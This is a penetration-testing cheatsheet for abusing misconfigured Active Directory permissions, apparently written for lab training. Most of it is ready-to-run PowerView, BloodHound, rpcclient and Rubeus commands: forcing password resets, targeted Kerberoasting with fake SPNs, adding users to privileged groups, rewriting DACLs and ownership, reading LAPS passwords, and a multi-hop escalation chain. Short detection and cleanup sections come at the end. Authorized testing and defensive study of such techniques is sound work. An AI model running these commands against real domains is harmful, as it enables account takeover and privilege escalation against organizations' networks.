ACL Abuse Cheatsheet
Quick reference for enumerating and exploiting AD ACL misconfigurations.
Enumeration
BloodHound
# Collect data from Linux
bloodhound-python -u <USER> -p '<PASS>' -d <DOMAIN> -dc <DC_FQDN> -c all
# Collect data from Windows
.\SharpHound.exe -c all --zipfilename output.zip
Look for edges: ForceChangePassword, GenericAll, GenericWrite, WriteDACL, WriteOwner, AllExtendedRights, AddSelf, AddMember, ReadGMSAPassword.
PowerView — Targeted Enumeration (Recommended)
Import-Module .\PowerView.ps1
# Step 1: Get SID of your controlled user
$sid = Convert-NameToSid <YOUR_USER>
# Step 2: Find all objects this user has rights over (with readable names)
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
# Step 3: Follow the chain — enumerate next user/group's rights
$sid2 = Convert-NameToSid <NEXT_USER>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2}
# Check nested group membership
Get-DomainGroup -Identity "<GROUP_NAME>" | select memberof
PowerView — Broad Queries
# Find all interesting ACLs (large output — filter results)
Find-InterestingDomainAcl -ResolveGUIDs
# Filter for a specific principal
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "TARGET_USER"}
# Get ACL on a specific object
Get-DomainObjectAcl -Identity "CN=Domain Admins,CN=Users,DC=domain,DC=local" -ResolveGUIDs
# Find objects where a user has GenericAll
Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "GenericAll" -and $_.SecurityIdentifier -match "<USER_SID>"}
# Find objects where a user has WriteDACL
Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "WriteDacl" -and $_.SecurityIdentifier -match "<USER_SID>"}
Without PowerView (Built-in Cmdlets)
# Build user list
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
# Find ACLs for a specific principal across all users
foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {
get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'DOMAIN\\username'}
}
# Manually resolve a GUID to a human-readable right name
$guid = "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl
BloodHound Tips
- Node Info → Outbound Control Rights: First Degree (direct) and Transitive (multi-hop chains)
- Right-click any edge → Help: exploitation commands, OPSEC notes, references
- Pre-built queries: “Find Principals with DCSync Rights”, “Shortest Paths to Domain Admins”
Exploitation by Permission
ForceChangePassword
# Reset a user's password (PowerView)
$newPass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword $newPass
# From Linux (Impacket / rpcclient)
rpcclient -U '<DOMAIN>/<USER>%<PASS>' <DC_IP> -c 'setuserinfo2 <TARGET_USER> 23 "NewPassword123!"'
GenericAll — Over a User
# Change password
$newPass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword $newPass
# Or: targeted Kerberoasting — assign an SPN, then Kerberoast
Set-DomainObject -Identity <TARGET_USER> -SET @{serviceprincipalname='fake/spn'}
Get-DomainUser <TARGET_USER> | Get-DomainSPNTicket -Format Hashcat
# Clean up: remove the SPN after
Set-DomainObject -Identity <TARGET_USER> -Clear serviceprincipalname
GenericAll — Over a Group
# Add yourself (or another user) to the group
Add-DomainGroupMember -Identity '<GROUP_NAME>' -Members '<USER_TO_ADD>'
# Verify
Get-DomainGroupMember -Identity '<GROUP_NAME>' | ?{$_.MemberName -match '<USER_TO_ADD>'}
GenericAll — Over a Computer (with LAPS)
# Read the LAPS password
Get-DomainComputer <COMPUTER> -Properties ms-mcs-admpwd
GenericWrite — Over a User (Targeted Kerberoasting)
# Assign a fake SPN
Set-DomainObject -Identity <TARGET_USER> -SET @{serviceprincipalname='fake/spn'}
# Kerberoast the account
Get-DomainUser <TARGET_USER> | Get-DomainSPNTicket -Format Hashcat
# Clean up
Set-DomainObject -Identity <TARGET_USER> -Clear serviceprincipalname
GenericWrite — Over a Group
Add-DomainGroupMember -Identity '<GROUP_NAME>' -Members '<USER_TO_ADD>'
WriteDACL
# Grant yourself GenericAll on the target object
Add-DomainObjectAcl -TargetIdentity <TARGET> -PrincipalIdentity <YOUR_USER> -Rights All
# Then abuse GenericAll as shown above
WriteOwner
# Take ownership of the object
Set-DomainObjectOwner -Identity <TARGET> -OwnerIdentity <YOUR_USER>
# Now modify the DACL (you're the owner)
Add-DomainObjectAcl -TargetIdentity <TARGET> -PrincipalIdentity <YOUR_USER> -Rights All
AddSelf
# Add yourself to the group
Add-DomainGroupMember -Identity '<GROUP_NAME>' -Members '<YOUR_USER>'
AllExtendedRights
# Over a user: reset password
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
# Over a group: add members
Add-DomainGroupMember -Identity '<GROUP_NAME>' -Members '<USER_TO_ADD>'
Multi-Hop Attack Chain Pattern
# Authenticate as user A (controlled user)
$SecPassword = ConvertTo-SecureString '<PASS>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\userA', $SecPassword)
# ForceChangePassword: user A → user B
$newPass = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity userB -AccountPassword $newPass -Credential $Cred -Verbose
# Authenticate as user B
$Cred2 = New-Object System.Management.Automation.PSCredential('DOMAIN\userB', $SecPassword)
# GenericWrite: add user B to a group
Add-DomainGroupMember -Identity 'Target Group' -Members 'userB' -Credential $Cred2 -Verbose
# GenericAll (via nested group): targeted Kerberoast user C
Set-DomainObject -Credential $Cred2 -Identity userC -SET @{serviceprincipalname='fake/spn'} -Verbose
.\Rubeus.exe kerberoast /user:userC /nowrap
From Linux, use targetedKerberoast to create a temporary SPN, retrieve the hash, and delete the SPN in one command.
Detection
| Indicator | Details |
|---|---|
| Event ID 5136 | Directory service object modified — fires on ACL changes |
| Group membership changes | Monitor high-impact groups for unauthorized additions |
| SPN attribute changes | Unexpected servicePrincipalName modifications on user accounts |
# Convert SDDL from Event 5136 to readable format
ConvertFrom-SddlString "<SDDL_STRING>" | select -ExpandProperty DiscretionaryAcl
Cleanup Reminders
| Action | Revert Command |
|---|---|
| Added group member | Remove-DomainGroupMember -Identity '<GROUP>' -Members '<USER>' |
| Set SPN on user | Set-DomainObject -Identity <USER> -Clear serviceprincipalname |
| Changed object owner | Restore original owner with Set-DomainObjectOwner |
| Modified DACL | Remove added ACE with Remove-DomainObjectAcl |
| Changed password | Coordinate with client to restore or set a new known password |
Always document all changes and confirm reversion in the final report.